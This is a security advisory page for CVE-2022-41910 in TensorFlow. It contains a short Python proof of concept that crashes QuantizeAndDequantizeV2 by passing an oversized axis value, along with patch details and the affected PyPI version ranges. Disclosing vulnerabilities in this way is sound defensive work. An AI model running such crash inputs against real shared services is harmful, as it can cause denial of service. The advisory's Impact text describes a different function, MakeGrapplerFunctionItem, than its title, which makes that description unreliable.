GHSA-FRQP-WP83-QGGV

Vulnerability from github – Published: 2022-11-21 22:17 – Updated: 2022-11-21 22:17
VLAI?
Summary
Heap overflow in `QuantizeAndDequantizeV2`
Details

Impact

The function MakeGrapplerFunctionItem takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
                                       input_min=[1.0],
                                       input_max=[10.0],
                                       signed_input=True,
                                       num_bits=1,
                                       range_given=True,
                                       round_mode='HALF_TO_EVEN',
                                       narrow_range=True,
                                       axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.11.0. We will also cherrypick this commit on TensorFlow 2.10.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Severity ?
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-21T22:17:52Z",
    "nvd_published_at": "2022-12-06T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe function [MakeGrapplerFunctionItem](https://https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221) takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered.\n```python\nimport tensorflow as tf\n@tf.function\ndef test():\n    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],\n    \t\t\t\t\t\t\t\t   input_min=[1.0],\n    \t\t\t\t\t\t\t\t   input_max=[10.0],\n    \t\t\t\t\t\t\t\t   signed_input=True,\n    \t\t\t\t\t\t\t\t   num_bits=1,\n    \t\t\t\t\t\t\t\t   range_given=True,\n    \t\t\t\t\t\t\t\t   round_mode=\u0027HALF_TO_EVEN\u0027,\n    \t\t\t\t\t\t\t\t   narrow_range=True,\n    \t\t\t\t\t\t\t\t   axis=0x7fffffff)\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).\n\nThe fix will be included in TensorFlow 2.11.0. We will also cherrypick this commit on TensorFlow 2.10.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n",
  "id": "GHSA-frqp-wp83-qggv",
  "modified": "2022-11-21T22:17:52Z",
  "published": "2022-11-21T22:17:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-frqp-wp83-qggv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/a65411a1d69edfb16b25907ffb8f73556ce36bb7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Heap overflow in `QuantizeAndDequantizeV2`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.